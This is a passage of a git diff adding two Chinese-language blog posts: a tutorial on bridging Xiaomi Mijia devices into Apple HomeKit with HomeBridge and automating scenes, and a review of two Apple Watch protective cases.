+查看node\.js npm套件管理工具是否安裝成功:顯示出版本號即表示成功! + +**第三步:** + +透過 npm 安裝 HomeBridge套件: +```bash +sudo npm -g install homebridge --unsafe-perm +``` + +等待安裝完成後…HomeBridge工具就算裝完了! + +前面有提到 “HomeBridge就是透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備”, **實際上HomeBridge只是一個平台,各裝置要加入要再另外找HomeBridge的外掛資源** 。 + +很好找,只要google或在github 搜尋「mija 產品英文名 homebridge」就會有許多資源;這邊介紹兩個我在用的裝置的資源: + +**1\.米家攝影機雲臺版資源: [MijiaCamera](https://github.com/josepramon/homebridge-mijia-camera){:target="_blank"}** + +攝影機是比較棘手的裝置,花了些時間研究並整理了一下;希望有幫助到有需要的人! + +首先ㄧ樣用「終端機」下命令安裝這MijiaCamera這個npm套件 +```bash +sudo npm install -g homebridge-mijia-camera +``` + +安裝完成後,我們需要取得攝影機的網路 **IP位址** 跟 **Token** 兩個資訊 + + +![](/assets/c3150cdc85dd/1*n0TIhqyCoKZo7--ePZwuLA.jpeg) + + +打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 **IP位址** ! + +**Token** 資訊就比較麻煩了,需要你將手機連接到Mac上: + + +![打開 Itunes 介面](/assets/c3150cdc85dd/1*0ewSMEH7K2rzUlUtSB61vw.png) + +打開 Itunes 介面 + +選備份 **不要勾替本機備份加密** ,點「立即備份」 + +備份完成後, [下載](http://www.imactools.com/iphonebackupviewer/download/mac){:target="_blank"} 安裝備份查看軟體: [iBackupViewer](http://www.imactools.com/iphonebackupviewer/download/mac){:target="_blank"} + +打開「iBackupViewer」,初次啟動會要你去 Mac「系統偏好設定」\- 「安全性與隱私權」\-「隱私權」\-「\+」\- 加入「iBackupViewer」 +**_\*如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除_** + + +![](/assets/c3150cdc85dd/1*kEOxJCkOxDRuFfoxumssgA.png) + + +再次打開「iBackupViewer」成功讀取到備份檔後,點擊右上角切換到「Tree View」模式 + + +![](/assets/c3150cdc85dd/1*R4l6tRzDaqtiN7xutPKtQg.png) + + +左側會顯示你所有安裝的APP,找到米家的APP「AppDomain\-com\.xiaomi\.mihome」\->「Documents」 + +在右側文件列表中找到並選擇 「 **數字\_mihome\.sqlite」** 這個檔案 + +點擊右上角「Export」匯出 \->「Selected」 + +將剛剛匯出的sqlite檔案丟到 [https://inloop\.github\.io/sqlite\-viewer/](https://inloop.github.io/sqlite-viewer/){:target="_blank"} 查看內容 + + +![](/assets/c3150cdc85dd/1*oRK8tHqom2tnR3CE5xz_-w.png) + + +可以看到所有米家APP上的裝置資訊欄位,向右滾動到尾端,找到 **ZTOKEN** 欄位,雙擊編輯全選複製 + +最後再打開 [http://aes\.online\-domain\-tools\.com/](http://aes.online-domain-tools.com/){:target="_blank"} 網站將 **ZTOKEN** 轉成最終 **Token** + + +![](/assets/c3150cdc85dd/1*ZXTe6MEFXjYhqtf9uAJWwQ.png) + + +1\.將剛剛複製出來的 ZTOKEN貼在「Input Text」,選「Hex」 +2\.Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」 +3\.然後按下「Decrypt\!」轉換 +4\.全選複製右下角藍匡&去掉空格後就是我們要的結果 **Token** + + +> Token 這邊有嘗試用「miio」直接嗅探的方式,但好像是米家攝影機韌體有更新過,已無法用這個方法快速方便得到Token了! + + + + + +**回到HomeBridge!編輯設定檔 config\.json** + + +![](/assets/c3150cdc85dd/1*Zh_BWLwMUg5pOxFEVipgiQ.png) + + +使用「Finder」\->「前往」\->「前往檔案夾」\-> 輸入「~/\.homebridge」前往 + +使用文字編輯器打開「config\.json」,若沒有此檔案請自行建立一個或 [點此下載](https://drive.google.com/file/d/1S67NZwXrVqOpps_Cl9l0494foDaHxuWF/view?usp=sharing){:target="_blank"} 直接放進去 +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "accessories":[ + { + "accessory":"MijiaCamera", + "name":"Mi Camera", + "ip":"", + "token":"" + } + ] +} +``` + +在config\.json裡加入以上內容,IP 及 Token部分帶入上面取得的資訊。 + +這時候再次回到「終端機」下以下命令啟動 HomeBridge +```bash +sudo homebridge start +``` + +如果已啟動之後又更改了config\.json內容的話可以改下: +```bash +sudo homebridge restart +``` + +重新啟動 + + +![](/assets/c3150cdc85dd/1*vwCS3QHu285oCrChau9mpw.png) + + +這時會出現HomeKit QRCode 讓您掃描加入配件(步驟如上面提到的,Apple HomeKit裝置加入方式) + + +![](/assets/c3150cdc85dd/1*CB76x9ryWBve2bssFd0nzA.jpeg) + + +下方也會有狀態訊息: +\[2019–7–4 23:45:03\] \[Mi Camera\] connecting to camera at 192\.168\.0\.100… +\[2019–7–4 23:45:03\] \[Mi Camera\] current power state: off + +有出現這些&沒出現錯誤error訊息即表示設定成功! + +一般常見的錯誤都是Token有錯,確認一下上面流程有無遺漏即可。 + +現在你就可以從「家庭」APP中開關米家智慧攝影機囉! + +**2\.米家 LED 智慧檯燈 HomeBridge 資源: [homebridge\-yeelight\-wifi](https://github.com/vieira/homebridge-yeelight-wifi){:target="_blank"}** + +再來是米家 LED 智慧檯燈,由於不像Pro版有支援Apple HomeKit,所以我們還是要用HomeBridge的方法來加入;雖然步驟 **不需經過繁瑣流程取得IP、Token** ,相對攝影機來說較簡單,但檯燈有檯燈的坑,要用另一個YeeLight APP配對後將區域網路控制設定打開: + + +![](/assets/c3150cdc85dd/1*uuaLjWduzC5RrOf-gd2-Jw.jpeg) + + +這點不得不吐槽一下這個糟糕的整合性,原生米家APP是無法做這項設定的;所以請到APP Store搜尋「 [Yeelight](https://apps.apple.com/tw/app/yeelight/id977125608){:target="_blank"} 」APP 下載&安裝 + +開啟APP \-> 直接使用米家帳號登入 \-> 增加裝置 \-> 米家檯燈 \-> 照指示將檯燈改綁定到 Yeelight APP + + +![](/assets/c3150cdc85dd/1*GTcap563FDdC0TsH09hZww.jpeg) + + +裝置綁定完成後回到「裝置」頁 \-> 點「米家檯燈」進入 \-> 點右下角「△」Tab \-> 點「局域網控制」進入設定 \-> 打開按鈕允許局域網\(區域網路\)控制 + +**檯燈的設置到這裡即可,你可以保留這個APP控制檯燈或再重新綁定回米家.** + +**再來是HomeBridge設定;ㄧ樣先打開「終端機」下命令安裝 [homebridge\-yeelight\-wifi](https://github.com/vieira/homebridge-yeelight-wifi){:target="_blank"} npm套件** +```bash +sudo npm install -g homebridge-yeelight-wifi +``` + +安裝完成後同上攝影機的步驟,前往 ~/\.homebridge 資料夾,建立或編輯修改 config\.json,這次只需要在最後一個\}裡面加上 +```json +"platforms": [ + { + "platform" : "yeelight", + "name" : "yeelight" + } + ] +``` + +即可! + +**最後結合上述攝影機的 config\.json檔如下:** +```json +{ + "bridge": { + "name": "Homebridge", + "username": "CC:22:3D:E3:CE:30", + "port": 51826, + "pin": "123-45-568" + }, + + "accessories": [ + { + "accessory": "MijiaCamera", + "name": "Mi Camera", + "ip": "", + "token": "" + } + ], + + "platforms": [ + { + "platform" : "yeelight", + "name" : "yeelight" + } + ] +} +``` + +然後一樣回到「終端機」下: +```bash +sudo homebridge start +``` + +或 +```bash +sudo homebridge restart +``` + +即可看到原本不支援的米家 LED 智慧檯燈也加入HomeKit「家庭」APP囉! + + +![](/assets/c3150cdc85dd/1*3jm0Kd4545DcmzNtPY-dXA.jpeg) + + +而且同樣支援顏色、光度調整! +#### HomeKit配件都加好了,怎麼讓他智慧呢? + +全都加好、橋接好後ㄧ樣打開「家庭」APP + + +![](/assets/c3150cdc85dd/1*s33BtesqfNSUNyyR069m_Q.jpeg) + + +依照步驟新增場景情境,這裡以回家為例: + +右上角點擊「\+」\-> 加入情境 \-> 自訂 \-> 配件名稱自行輸入\(EX:回家\) \-> 點下方「加入配件」\-> 選擇已串接好的HomeKit配件 \-> 設定這個場景時的配件狀態\(攝影機:關/臺燈:開\) \-> 可點「測試情境」進行測試 \-> 右上角「完成」! + +這樣就設定好場囉~這時候在首頁點場景就換執行裡面所有配件的設定! + + +![](/assets/c3150cdc85dd/1*VSArlFmoFERbjH13Cns5TQ.jpeg) + + +還有一個快捷小撇步,就是在上拉控制選單直接點房子形狀的按鈕快速操作HomeKit/執行情境\(右上可切換模式\)! +#### 智慧有了,那怎麼自動化呢? + +智慧已經有了,現在我想要達成終極目標,回家自動關閉攝影機、開燈;離家自動開攝影機、關燈. + + +![](/assets/c3150cdc85dd/1*tCpQ3io2Q2DDCVFxJpBm_g.png) + + +切到第三個Tab「自動化」就可設定,很抱歉這邊沒有一個上述設備\(iPad/Apple TV/HomePod\)可以做 **” [家庭中樞](https://support.apple.com/zh-tw/HT207057){:target="_blank"} ”** 所以這塊我就沒研究了。 + +原理好像是回到家,感應到 **”家庭中樞”** 手機/手錶即可精準觸發! +#### 這邊我有找到一個tricky的做法:\(感應GPS\) + +使用第三方的APP串接「家庭」加入自動化設定,就可以透過使用手機GPS定位來做到自動化破解封鎖使用「自動化」Tab的功能 + +p\.s GPS會有約100公尺的誤差 + + +![](/assets/c3150cdc85dd/1*Rm101LKv29Avb5wv4isg4A.jpeg) + + +這邊我使用的第三方串接APP是: [myHome Plus](https://apps.apple.com/us/app/myhome-plus-control-for-nest-wemo-and-homekit/id1050479330){:target="_blank"} + +下載&安裝後開啟APP \-> 允許存取「家庭資料」\-> 會看到「家庭」的資料配置 \-> 點選右上角「設定按鈕」\-> 點「我家」進入 +\->下拉到「Triggers」區域 \-> 點「Add Trigger」 + + +![](/assets/c3150cdc85dd/1*Kk6AMnhSYP4sM8JD_66Iow.jpeg) + + +Trigger 類型選「Location」\-> Name 輸入名字\(EX:回家\) \-> 點「Set Location」設定位置區域 \-> 再來 REGION STATUS 可以設定是進入還是離開該區域 \-> 最後 SCENES 可以選擇對應要執行的「情景」\(上面建立的\) + +按右上角「完成」儲存後,再回到「家庭」APP,可以看到「自動化」Tab 被打開可以用了! + + +![](/assets/c3150cdc85dd/1*SXYVBHk9-pMD8YufRQA4zw.png) + + +這時候就可以選擇右上角「+」使用「家庭」APP直接新增自動化腳本!! + + +![](/assets/c3150cdc85dd/1*qbtjNCj9mOvjuX7an6rhXw.jpeg) + + +步驟也如第三方APP,不過整合性更佳!使用原生「家庭」APP建立好自動化後也可以滑動刪除剛剛用第三方APP建的。 + + +> **_!!僅需注意,至少要保留一項;否則Tab就會回到原始封鎖狀態!!_** + + + + + +**Siri 語音控制的部分:** + +相較下面介紹的米家,HomeKit的整合性相當高,可直接使用語音控制設定的配件、執行場景,無需額外,無需額外設定。 + + +![](/assets/c3150cdc85dd/1*q_ui00ruJl1Fd3_5M-0EhQ.png) + + +HomeKit的設定介紹就到這邊了,再來講解米家原生智慧家庭的用法。 +#### **使用米家本身搭建智慧家庭的方法:** + +這邊遇到一個困惑點,就是我在米家新增設備中找不到長得一樣的米家檯燈,答案就是: + + +![看字就好,這個就是](/assets/c3150cdc85dd/1*xLM5-khndWjvEDdTaFiPfw.png) + +看字就好,這個就是 + +其他設備:攝影機、Pro檯燈就直接照官方說明設定加入就好,這邊不在冗述. + +**場景情境設定:** + + +![](/assets/c3150cdc85dd/1*leO3Z492pJPh3hEASYr-ww.jpeg) + + +同「家庭設定方式」\-> 切換到「智慧」Tab \-> 選擇「手動執行」\-> 下方選擇裝置操作\(由於是原生所以可選更多功能\) \-> 繼續增加其他裝置\(檯燈\) \-> 「儲存」完成! + + +> _一定會有人想問為什麼不直接選「離開或到達某地」?,因為這功能根本沒用,他APP沒針對台灣優化GPS是錯的,而且他的定位只能定在地標上,如果你的位置有那可以直接使用此功能, **文章後續也都可跳過!**_ + + + + + +> **_冷知識: [Google Maps 裡的中國地圖全是錯的!](https://buzzorange.com/techorange/2019/05/09/china-map-is-wrong/){:target="_blank"}_** + + + + + + +![](/assets/c3150cdc85dd/1*ZjdH5A0QnLq2LNh9lWvCCw.jpeg) + + +快捷開關部分,可以從「我的」\->「小元件」設定小工具元件! + +這樣就能從通知中心快速執行場境、裝置囉! + + +![](/assets/c3150cdc85dd/1*DMmicpzKUIr2xtN8JtP3wQ.png) + + +也可從 [Apple Watch](../a2920e33e73e/) 上控制元件! +_\*如果手錶APP一直出現空白請刪除重裝手錶或手機APP,這個APP真的蠻多BUG的_ +#### 智慧有了,那怎麼自動化呢? + +這邊ㄧ樣要使用GPS感應方式, **如果上述新增場景用的就是「離開或到達某地」,以下介紹設定都可略過囉!** + +\* \* \* \* \* +#### \[2019/09/26\] 更新 iOS ≥ 13 只使用內建 捷徑 APP 達成自動化 : + +[iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居,點擊前往查看>>](../21119db777dd/) + +\* \* \* \* \* + + +> _iOS ≥ 12,iOS < 13 Only :_ + + +> **使用內建的捷徑APP搭配IFTTT** + + + + + + +![](/assets/c3150cdc85dd/1*e9ld6Qn7D64CG-DZA1vAsA.jpeg) + + +首先到「我的」\-> 「實驗室功能」\->「iOS 捷徑」\-> 「將米家場景加入捷勁」 + +打開系統內建的「 [捷徑](https://apps.apple.com/tw/app/%E6%8D%B7%E5%BE%91/id915249334){:target="_blank"} 」APP(若找不到請到App Stroe 搜尋下載回來) + + +![](/assets/c3150cdc85dd/1*-rjtmZ6PHzSzOoBvjJ-FJQ.jpeg) + + +點擊右上角「\+」建立捷徑 \-> 點右上完成下方的設定按鈕 \-> 名稱 \-> 輸入名稱(建議用英文,因為等等還要用到) + + +![](/assets/c3150cdc85dd/1*5aUsslYvZvlFiSQYJrGgRw.jpeg) + + +回到新增捷徑頁面 \-> 在下方選單輸入搜尋「米家」\-> 加入對應的在米家設定的場景,關閉「執行時顯示」否則執行完會開啟米家APP。 + + +> \*如果找不到米家請回到米家APP嘗試開關「我的」\-> 「實驗室功能」\->「iOS 捷徑」\-> 「將米家場景加入捷勁」、滑掉「捷徑」APP重開。 + + + + + +這時候又要使用第三方APP了,我們使用IFTTT做GPS進入、離開的背景觸發器,到App Store搜尋「 [IFTTT](https://apps.apple.com/us/app/ifttt/id660944635){:target="_blank"} 」下載&安裝。 + + +![](/assets/c3150cdc85dd/1*5tXhFP4uT1ySSFAZnnDQGw.jpeg) + + +打開IFTTT、登入帳號後,切換到「My Applets」Tab,點右上角「\+」新增\-> +點擊「\+this」\-> 搜尋「Location」\-> 選擇是進入還是離開 + + +![](/assets/c3150cdc85dd/1*2vs32eIxtEmvqzxOsDLGEw.jpeg) + + +設定位置 \-> 點擊「Create trigger」確定 \-> 換點下面「\+that」\-> 搜尋「notification」 + + +![](/assets/c3150cdc85dd/1*bVmWLH5tUcko5eeOmnR3kQ.jpeg) + + +選擇「Send a rich notification from the IFTTT app」: + +Title = 通知標題 , Message = 通知內容 + +Link URL 請輸入:shortcuts://run\-shortcut?name= **_捷徑名稱_** + +所以才說捷徑名稱盡量設英文比較好 + +\-> 點選「Create action」\-> 可點選「Edit title」設定名稱 + +\-> 「Finish」儲存完成! + +**當你下次離開/進入設定的區域範圍就會收到觸發的通知\(一樣有約100公尺的誤差範圍\),點選通知後就會自動執行米家場景囉!** + + +![點選通知就會在背景自動執行場景](/assets/c3150cdc85dd/1*a9zXd_JSpz9IKInJlPoJ1w.png) + +點選通知就會在背景自動執行場景 + +**Siri 語音控制的部分:** + +由於米家不是Apple內建APP,所以要支援Siri語音控制就得另外設置: + + +![](/assets/c3150cdc85dd/1*lyzEU2cKxafbnXkWnR7ltg.jpeg) + + +在「智慧」Tab \-> 「加入Siri」\-> 選擇「目標場景」按「加入Siri」 + +\-> 點紅色錄製指令\(EX:關燈\) \-> 完成! + +即可在Siri中直接呼叫控制執行場景! +### 總結 + +上述一大堆的設定步驟,總結一下就是: + +如果要好的體驗就是得花大錢買有HomeKit標誌的電器(就可不需放台Mac做HomeBridge開機待命,直接與原生Apple 家庭功能完美結合)還有要再買HomePod或Apple TV、iPad做家庭中樞;不管是HomeKit標誌的電器、家庭中樞都不便宜! + +如果有技術能力可考慮使用第三方智慧裝置(如米家)搭配樹莓派做HomeBridge。 + +如果像我一個就是個普通人那還是直接用米家最為方便上手,目前的使用習慣是回家、離開家會從通知中心點快捷小工具執行場景操作;捷徑APP搭配IFTTT的部份僅作為通知提醒,怕有時候忘記。 + +目前體驗雖沒達到目標理想,但已經離 **“智慧家庭”** 更進一步了! +### 進階篇 + +[**示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit**](../99db2a1fbfe5/) +### 延伸閱讀 +1. [小米智慧家居新添購(AI音箱、溫濕度感應器、體重計2、直流變頻電風扇)](../bcff7c157941/) +2. [iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居(直接使用 iOS ≥ 13\.1 內建的捷徑APP完成自動化操作)](../21119db777dd/) +3. [米家 APP / 小愛音箱地區問題](../94a4020edb82/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E6%99%BA%E6%85%A7%E5%AE%B6%E5%B1%85%E5%88%9D%E9%AB%94%E9%A9%97-apple-homekit-%E5%B0%8F%E7%B1%B3%E7%B1%B3%E5%AE%B6-c3150cdc85dd){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-07-08-a66ce3dc8bb9.md b/_posts/zmediumtomarkdown/2019-07-08-a66ce3dc8bb9.md new file mode 100644 index 000000000..2787f1416 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-07-08-a66ce3dc8bb9.md @@ -0,0 +1,388 @@ +--- +title: "Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)" +author: "ZhgChgLi" +date: 2019-07-08T14:55:50.302+0000 +last_modified_at: 2023-08-05T17:14:46.538+0000 +categories: "ZRealm Life." +tags: ["生活","開箱","3c","apple-watch","catalyst"] +description: "Catalyst Apple Watch 超輕薄防水保護殼 & Muvit Apple Watch 保護套" +image: + path: /assets/a66ce3dc8bb9/1*IIgbhnQNb4H3UT3-5wQ0dw.jpeg +render_with_liquid: false +--- + +### Apple Watch 保護殼開箱體驗 \(Catalyst & Muvit\) + +Catalyst Apple Watch 超輕薄防水保護殼 & Muvit Apple Watch 保護套 + +### \[最新更新\] +- [**Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往**](../eab0e984043/) +- [**Apple Watch 原廠不鏽鋼米蘭錶帶開箱>>點我前往**](../c0f99f987d9c/) + + + +> _感謝 [Men’s Game 玩物誌](https://www.facebook.com/mensgametw/){:target="_blank"} 提供 Apple Watch Series 4 保護殼試用。_ + + + + + +身為一個神經大條的強迫症患者,在使用Apple Watch這種精緻的產品非常困擾;因手殘神經大條很容易不小心碰撞到&加上強迫症有傷痕用起來會很不爽,所以一買來就一直貼滿版保護貼防止意外發生. + +但其實 **只貼滿版保護貼是不夠的,手錶本身是曲面,保護貼邊邊脆弱,很容易因本體邊框不小心擦到造成碎邊** : + + +![無保護殼情況下,滿版保護貼碎邊慘況](/assets/a66ce3dc8bb9/1*Pqap-5lrHUEWBonbKHXrAA.jpeg) + +無保護殼情況下,滿版保護貼碎邊慘況 + +目前已換第三張滿版保護貼;雖然手錶本身螢幕沒有受傷但心還是很痛,完美貼合+不影響觸控+薄+高透+不掀邊=很貴\($990/張\),花在保護貼的$都快夠我直升不鏽鋼版了;也因此Apple Watch 的保護殼對我來說就非常重要,可以加強本體邊框的防護,減少碰撞受傷問題. + +本篇會開箱兩款Apple Watch 保護殼,並針對體驗心得、機能、外型、適用場景分別做出比較,讓我們開始吧! + + +![左:Muvit保護套/右:Catalyst保護殼\(含錶帶\)](/assets/a66ce3dc8bb9/1*IIgbhnQNb4H3UT3-5wQ0dw.jpeg) + +左:Muvit保護套/右:Catalyst保護殼\(含錶帶\) + +_p\.s\. 我的手錶型號是:Apple Watch Series 4 \(GPS \+ 行動網路\),44 公釐太空灰色鋁金屬錶殼搭配黑色運動型錶帶_ +### Catalyst Apple Watch 超輕薄防水保護殼\(含錶帶\) + +這款保護殼是有含錶帶的一體化設計,從佩戴到防撞防水的全方位保護. +#### 開箱使用: + + +![盒子正面](/assets/a66ce3dc8bb9/1*V3vIwfECipkbgbNMV_hs5g.jpeg) + +盒子正面 + +100公尺防水/360°全方位防護/2公尺墜落防摔 + + +![盒子背面](/assets/a66ce3dc8bb9/1*rCGyyBw17l93HaVLkfPv4Q.jpeg) + +盒子背面 + +IP\-68防水級別,每件產品經水深一百米測試,美國軍規級碰撞保護,可直接操作屏幕,原聲通話品質,可經錶殼直接充電,可經錶殼直接偵測心跳率. + +**IP\-68 \( [Wiki](https://zh.wikipedia.org/wiki/%E5%9B%BD%E9%99%85%E9%98%B2%E6%8A%A4%E7%AD%89%E7%BA%A7%E8%AE%A4%E8%AF%81){:target="_blank"} \):** + +6 \- 完全防塵灰塵無法進入,完全防止接觸。 + +8 \- 浸入水中超過1m。 + + +![內容物](/assets/a66ce3dc8bb9/1*pIFY7QNATjq5ptK_3tiKzg.jpeg) + +內容物 + +除了Catalyst Apple Watch保護殼本體\(裡面是模型機\)並附一支小螺絲起子方便安裝. + + +![保護殼\(含錶帶\)本體](/assets/a66ce3dc8bb9/1*a-fSIhMUqjCzmyB1P71r2Q.jpeg) + +保護殼\(含錶帶\)本體 + + +![保護殼\(含錶帶\)本體背面](/assets/a66ce3dc8bb9/1*xaTRb9EWjUertxGOu5mbjA.jpeg) + +保護殼\(含錶帶\)本體背面 + + +![與原廠運動錶帶\(L\)比較\(左:Catalyst/右:原廠\)](/assets/a66ce3dc8bb9/1*rfigeM4zgWyMXipXomjMEg.jpeg) + +與原廠運動錶帶\(L\)比較\(左:Catalyst/右:原廠\) + + +![固定環卡榫](/assets/a66ce3dc8bb9/1*epVVh0SvkWw_KUN9vZ2EfQ.jpeg) + +固定環卡榫 + +與原廠運動錶帶\(L\)相比長度差不多但是開孔更密,在配戴上能調整到更適合手腕大小的長度;在固定環上有卡榫能確保激烈運動時不會脫落. +#### 安裝: + +我們要先將Catalyst錶殼拆解開來,再將Apple Watch機體放入後組裝回去. +1. 首先轉開錶背螺絲 + + + +![](/assets/a66ce3dc8bb9/1*W-gLZXVO1yJNgXJlNJZmGA.jpeg) + + +2\. 取下螺絲後,兩手抓著錶帶,使用姆指向外施力將錶殼本體推出. + + +![](/assets/a66ce3dc8bb9/1*zuKuxfU47WUxlGtSTdujvw.jpeg) + + +3\.將所有部件拆解開來 + + +![](/assets/a66ce3dc8bb9/1*7BW6I_A_T-1uyz-Enan6jg.jpeg) + + + +![分解圖\(取自 [官網](https://www.catalystlifestyle.com/){:target="_blank"} \)](/assets/a66ce3dc8bb9/1*QdX7vbv2I3hgKFofi2CV8Q.jpeg) + +分解圖\(取自 [官網](https://www.catalystlifestyle.com/){:target="_blank"} \) + +4\. 將Apple Watch本體從現有運動錶帶上取下 + + +![翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!](/assets/a66ce3dc8bb9/1*MwDh_iQQNvwLRa-4uZTS4A.jpeg) + +翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可! + +5\. 將Apple Watch機體放入防水套中 + + +![](/assets/a66ce3dc8bb9/1*I_QwQJ6ywR5R6TN8FRSByA.jpeg) + + +安裝時請注意防水套要套好,不能有皺摺避免影響防水性. + + +![](/assets/a66ce3dc8bb9/1*KrpGVeW2qXIb8UeNizrp1A.jpeg) + + +6\.套上保護殼上殼 + + +![](/assets/a66ce3dc8bb9/1*DZiQG08CWoAhg7norvU8lw.jpeg) + + +ㄧ樣要注意不能有皺摺避免影響防水性. + +7\.放回錶帶本體並鎖上螺絲 + + +![](/assets/a66ce3dc8bb9/1*-8sAoAOg2tu_gzabuZvRww.jpeg) + + +卡回本體並鎖上螺絲( **請注意螺絲勿鎖太緊哦!** ) +#### 測試: +1. 充電可直接吸附: + + + +![](/assets/a66ce3dc8bb9/1*iUopCGpye4pjoP1CdjvfDw.jpeg) + + + +![](/assets/a66ce3dc8bb9/1*COoQIHhRpUYWl8bdbAGTBw.png) + + +測試結果:無問題,不影響充電速度。 + +2\. 心率: + + +![左:有裝殼/右:裸機](/assets/a66ce3dc8bb9/1*z0bWL3LTEyln6SEk1nZrSw.jpeg) + +左:有裝殼/右:裸機 + + +![](/assets/a66ce3dc8bb9/1*FIa4v3sxjrCthupmY_FUiw.png) + + +測試結果:無問題,不影響心率檢測。 + +3\. 顯示方面: + + +![](/assets/a66ce3dc8bb9/1*RFRpBr_IkJDA4Y6ryx7W_g.jpeg) + + +Apple Watch 4 滿版螢幕無遮蔽,沒問題✅ + +4\. Digital Crown + + +![](/assets/a66ce3dc8bb9/1*B9md7k4pmOkgL8LuS1V8Ww.jpeg) + + +可正常使用✅ + +5\. 收音影響: + + +[![Catalyst Apple Watch 超輕薄防水保護殼收音測試](/assets/a66ce3dc8bb9/e686_hqdefault.jpg "Catalyst Apple Watch 超輕薄防水保護殼收音測試")](http://www.youtube.com/watch?v=JZfe5BUkhZM){:target="_blank"} + + +無特別差異✅ + +6\. 外觀: + +因本人手粗,手錶本來就買最大的44公釐版本,再套上保護殼後又更顯粗獷大器了. + + +![](/assets/a66ce3dc8bb9/1*ibQF9d8Z-bJhsJY4wo9H0Q.jpeg) + +#### 心得: + +這款錶帶在防護上真正做到了360° 全面保護並加強本身的防水功能以適應更艱困的環境。 + +錶帶一樣採用親膚材質,戴起來與原廠運動錶帶無異,但在錶帶調整的部分由於開孔較密,能調整到更適合的大小(我戴原廠錶帶會卡在往前一格太鬆往後一個太緊的尷尬狀態)還有固定環的卡榫讓我這種強迫症患者更安心了一些! + +整體外觀狂野粗獷,從事戶外活動、登山、攀岩、潛水時很搭風格,也正是這款錶帶能發會最大保護功效的場景! + + +![下次記得帶墨鏡,太陽超大](/assets/a66ce3dc8bb9/1*8nCnuuG43EBtD82WJVSTzA.jpeg) + +下次記得帶墨鏡,太陽超大 + + +![Catalyst 家族合照 \( [AirPods保護套](../33afa0ae557d/) \)](/assets/a66ce3dc8bb9/1*r2gy2OdPEGRhRAPfqgALPQ.jpeg) + +Catalyst 家族合照 \( [AirPods保護套](../33afa0ae557d/) \) +### Muvit Apple Watch 保護套 + +試用的第二款是 Muvit Apple Watch 保護套,相較於Catalyst的專業保護性,這款比較簡潔、便利,適用於各種日常生活場景;雖說如此,Muvit 依然通過美國軍規MIL\-STD 810G 3米摔落測試,安全保護不馬乎! +#### 開箱使用: + + +![盒子正面](/assets/a66ce3dc8bb9/1*-i3rLhQgb4DjbICi123_OA.jpeg) + +盒子正面 + +兩個不同顏色保護套:左\-黑色 / 右\-淡紫色 + +美國軍規MIL\-STD 810G 3米摔落測試、極輕2\.3G + + +![盒子背面](/assets/a66ce3dc8bb9/1*dGl4CaH47Cc8gC5U4JUVFg.jpeg) + +盒子背面 + +雙層結構保護、矽膠減震層、聚碳酸酯緩衝系統、保護屏幕錶框 + + +![內容物](/assets/a66ce3dc8bb9/1*mXWCHqx-hBsiDvDee6Fjug.jpeg) + +內容物 + + +![保護套本體,黑色/淡紫色](/assets/a66ce3dc8bb9/1*X49Oq60Jd_ju34uoZXyH6Q.jpeg) + +保護套本體,黑色/淡紫色 +#### 安裝: +1. 安裝方面非常簡單,ㄧ樣先將Apple Watch本體從現有運動錶帶上取下 + + + +![翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!](/assets/a66ce3dc8bb9/1*MwDh_iQQNvwLRa-4uZTS4A.jpeg) + +翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可! + +2\. 將Apple Watch 機體 **”面朝下”** 放入保護套中 + + +![](/assets/a66ce3dc8bb9/1*QE3ni1W9mIl2QlK1FCQs6A.jpeg) + + + +![](/assets/a66ce3dc8bb9/1*ZvVeAxgUXQFWwOzCbb0kcw.jpeg) + + +3\. 裝回錶帶,完成! +#### **完成:** + + +![黑色款](/assets/a66ce3dc8bb9/1*lNquZxDL29qbjZMV0dFSAA.jpeg) + +黑色款 + + +![淡紫色款](/assets/a66ce3dc8bb9/1*Fp0BQM9WUMkVjWd-Z-J27A.jpeg) + +淡紫色款 + + +![試戴,左:黑色/右:淡紫色](/assets/a66ce3dc8bb9/1*pB3bwjNNTfaCpiUWZNBlMw.jpeg) + +試戴,左:黑色/右:淡紫色 +#### 測試: + +Digital Crown: + + +![](/assets/a66ce3dc8bb9/1*YAzNl8KPlYdkhWVThowL2Q.jpeg) + + +可正常使用✅,其他項目如收音、心率、顯示…等等,此款僅為邊框保護套不受影響,就不特別測試啦! +#### 心得: + +使用這款保護套最滿意的地方就是,我可以方便快速依照生活場景替換對應的錶帶(西裝:皮革錶帶、日常:運動錶帶)拆裝方便,保護性方面足夠應付所有日常場景(做家事、打掃、搬東西)目前日常生活都是使用這款保護套。 + + +![與皮製錶帶搭配](/assets/a66ce3dc8bb9/1*_2Vur7v2XzO-7f4_ORbgkQ.jpeg) + +與皮製錶帶搭配 +### 心得總結: + +從收到試用到撰文完間隔了超過4個月,期間經歷了搬家\(Sorry…本篇圖場景凌亂\)、參加鐵人兩項(10KM跑步\+40KM單車)、馬來西亞潛水;這兩款保護套跟著往上山下海跑跑跳跳,目前滿版保護貼依然完美無缺! + +還記得我換了幾張保護貼嗎?答案是3張/3個月,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張要$990阿 Orz + + +> 只能說相見恨晚,早知道有保護套這種產品就不用多花冤望錢! + + + + +不論是Catalyst或是Muvit都解決了我貼保護貼一直碎邊的痛點,如果你沒貼保護貼那就更該買個保護套保護螢幕邊角,不然螢幕玻璃碎裂心會更痛 + +選擇方面的建議是,如果你時常從事激烈運動(攀岩、潛水)、勞力工作,建議選用Catalyst,較能放心;如果只是一般上班族、偶爾運動跑跑步、喜歡依照心情換錶帶,那使用 